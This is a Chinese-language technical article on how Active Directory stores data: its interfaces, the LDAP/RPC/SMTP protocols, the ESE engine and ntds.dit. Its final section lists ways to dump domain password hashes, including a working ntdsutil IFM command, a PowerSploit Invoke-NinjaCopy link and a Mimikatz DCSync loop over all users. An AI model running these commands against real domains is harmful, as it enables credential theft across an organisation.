Active Directory 数据库详解

0x00 介绍

在Active Directory中,存储的数据包含有数据库文件和管理用户,服务和应用程序的目录信息的数据库文件和进程。 数据存储的副本在林中的每个域控制器上运行。 在我们搭建完一个域环境过后,我们知道域用户的密码 C:WindowsNTDSntds.dit 中,本文就重点介绍在AD域中Windows 是如何存储数据,数据存储的协议及ESE存储方式,还会介绍几种提取域用户密码的方法。

 

0x01 数据存储结构

​ Active Directory数据存储由若干组件组成,这些组件一起为目录客户端和其他目录服务器提供目录服务。 这些组件包括三个服务组件,四个接口和实际存储数据的目录数据库。

下图说明了数据存储的体系结构。

  1. 4个接口:Lightweight Directory Access Protocol (LDAP), replication (REPL) and domain controller management interface, Messaging API (MAPI), Security Accounts Manager (SAM)) 主要是提供给客户端与服务器端的交流。
  2. Directory System Agent (DSA) (Ntdsa.dll) DSA在每个域控制器上作为Ntdsa.dll运行,提供客户端和其他服务器通过其访问目录数据库的接口。
  3. Database layer 数据库层是在ntdsa.dll中的,并提供应用程序和目录数据库之间的接口,以保护数据库不与应用程序的直接交互。由于目录数据库是扁平的,没有分层命名空间,因此数据库层为数据库提供了对象层次结构的抽象。
  4. Extensible Storage Engine (ESE) (Esent.dll) ESE作为Esent.dll运行,管理组成目录数据库的记录表 – 每个记录包含一个或多个列。
  5. Database files 数据存储将目录信息存储在名为Ntds.dit的单个数据库文件中。 此外,数据存储还使用日志文件,临时写入未提交的事务。

 

0x02 数据存储协议

​ Active Directory数据存储使用的主要协议是轻量级目录访问协议(LDAP),它在TCP / IP之上运行。 此外,数据存储使用remote procedure call(RPC)进行MAPI,复制,域控制器管理和SAM相关操作。 虽然它没有被广泛使用,但数据存储还支持使用简单邮件传输协议(SMTP)在域控制器之间进行复制。

  1. LDAP 可以通过TCP/IP,也可以通过UDP的方式。通过默认的389端口,去创建,查询,更新,删除存储在AD中的信息。AD支持 LDAP v2 (RFC 1777) and LDAP v3 (RFC 2251)。
  2. RPC 数据存储使用RPC进行复制(REPL)和域控制器管理通信,MAPI通信和SAM相关通信。 RPC是一种功能强大,高效且安全的进程间通信(IPC)机制,可以实现数据交换和驻留在不同进程中的功能调用。 该不同的进程可以在同一台计算机上,局域网(LAN)上,也可以在Internet上。
  3. SMTP 数据存储可以使用Internet标准SMTP作为复制通信的协议。 SMTP用于根据Request for Comments(RFC)821和RFC 822中的规范传输和传递消息.SMTP还包括基于协议的基本传递功能构建的增强功能。 有一些SMTP选项可用于控制消息的路由和传递,并提供安全通信。(smtp的复制

 

0x03 ESE

​ The Extensible Storage Engine (ESE) 是Active Directory以及其他几个Windows组件使用的Windows组件,作为存储在索引和顺序访问方法(ISAM)数据库中的数据的接口。 (Active Directory数据库是ISAM数据库。)

有很多应用都是使用JET APIs 去访问ESE 的数据库。

  • esentutl 这是windows AD服务器内置的工具,去校验ESE数据库。
  • eseutil 这是Exchange 中的带有的工具,跟上一个工具一样的使用。,随便在附上一个Exchange 安装的教程
  • ntdsutil 管理AD 或者ADLDS的工具,默认安装。

1.ESE 逻辑结构

使用的工具在这里下载,这个网站还有很多查看系统各种东西的工具。。

从图中可以看出来很多表,在所有ESE数据库都有一个名为MSysObjects和MSysObjectsShadow的表,它是MSysObjects的备份。

  • 所有表及其表名以及它们关联的B +树在数据库中的起始位置以及其他各种元数据。
  • 每个表的所有列及其名称,存储在其中的数据类型以及各种模式约束。
  • 表上的所有索引及其名称,以及它们关联的B +树在数据库中的起始位置。

2.ESE 物理结构

一个ESE 数据库也是存储在硬盘当中的。每个数据库中的header 都有page的大小,AD 通常都是8k。

第一页H就是header,SH是header的复制,页面编号1是其中的第三页。

esentutl /mh 可以查看page大小,cbDbPage 就是page的大小, AD 和ADLDS 的page大小都是8K。其他的ESE数据库的大小不一样。

关于其中的B+树

 

0X04 导出域用户密码

1. vss 提取不想写了,网上GOOGLE吧。

2. NTDSUtil获取ntds.dit文件ntdsutil "ac i ntds" "ifm" "create full c:temp" q q

3.powershell 方式

用这个脚本:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

4.Mimikatz的DCSync

要想批量导出所有用户,先把用户名导出到TXT中,在for /f "tokens=1" %i in (username.txt) do @mimikatz.exe "lsadump::dcsync /user:%i /domain:localtest.com" exit >> info.txt 这样就导出所有用户的HASH了。从下面防御规则可以看出,是调用了我们所说的四种接口中的replication (REPL) and domain controller management interface

防御规则:

5.Impacket

我觉得这个是最好的工具,支持本地ntds.dit的解析,及获取历史记录等,最常用就是这个了。

impacket 只有python 版的,而且在windows 下支持不好,所以可以直接编译一个windows 下的impacket,参考这里

 

0x05 总结

本文就是粗略介绍了在AD中数据的存储方式,ESE 具有高效,安全的特性,所以在Windows 中很多应用都有用到。对于其中LDAP,RPC这些比较重要的协议,也没有详细解析了。

审核人:yiwang   编辑:边边

(完)